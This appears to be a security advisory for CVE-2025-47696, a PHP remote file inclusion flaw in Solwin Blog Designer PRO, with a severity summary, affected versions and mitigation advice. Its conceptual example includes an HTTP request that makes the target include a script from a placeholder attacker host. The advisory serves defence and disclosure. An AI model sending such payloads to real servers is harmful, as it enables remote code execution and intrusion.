Overview
The Common Vulnerabilities and Exposures system (CVE) has recently identified a critical flaw labeled as CVE-2025-47696. This vulnerability is an Improper Control of Filename for Include/Require Statement in PHP Program, commonly known as ‘PHP Remote File Inclusion’ vulnerability. It specifically affects the Solwin Blog Designer PRO, a widely used blog design platform. The impact of this vulnerability is severe, with a CVSS Severity Score of 8.1, indicating the potential for system compromise or data leakage.
The importance of addressing this vulnerability cannot be overstated. Given that Solwin Blog Designer PRO is used by a wide range of bloggers, businesses, and organizations, the potential for data compromise is substantial. The vulnerability could allow an attacker to inject malicious PHP code into the server, leading to unauthorized access, data theft, or even system compromise.
Vulnerability Summary
CVE ID: CVE-2025-47696
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
Solwin Blog Designer PRO | Up to and including 3.4.7
How the Exploit Works
The CVE-2025-47696 exploit takes advantage of the improper control of filename for include/require statement in PHP program present in Solwin Blog Designer PRO. In other words, the software does not properly restrict the files that may be included or required by a PHP script. This vulnerability allows an attacker to include a file from a remote server that contains malicious PHP code. Once this code is executed on the server, it can lead to unauthorized access, data theft, or even total system compromise.
Conceptual Example Code
Consider the following conceptual example. An attacker might send a specially crafted HTTP request to a vulnerable endpoint, like so:
GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn this example, `http://attacker.com/malicious_script.txt` is a malicious PHP script hosted on the attacker’s server. If the server includes this file and executes its content, the attacker could gain unauthorized access to the system or potentially compromise it entirely.
To mitigate this vulnerability, it is recommended to apply the vendor patch or use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Regularly updating software and maintaining good cybersecurity hygiene can also help protect against such vulnerabilities.
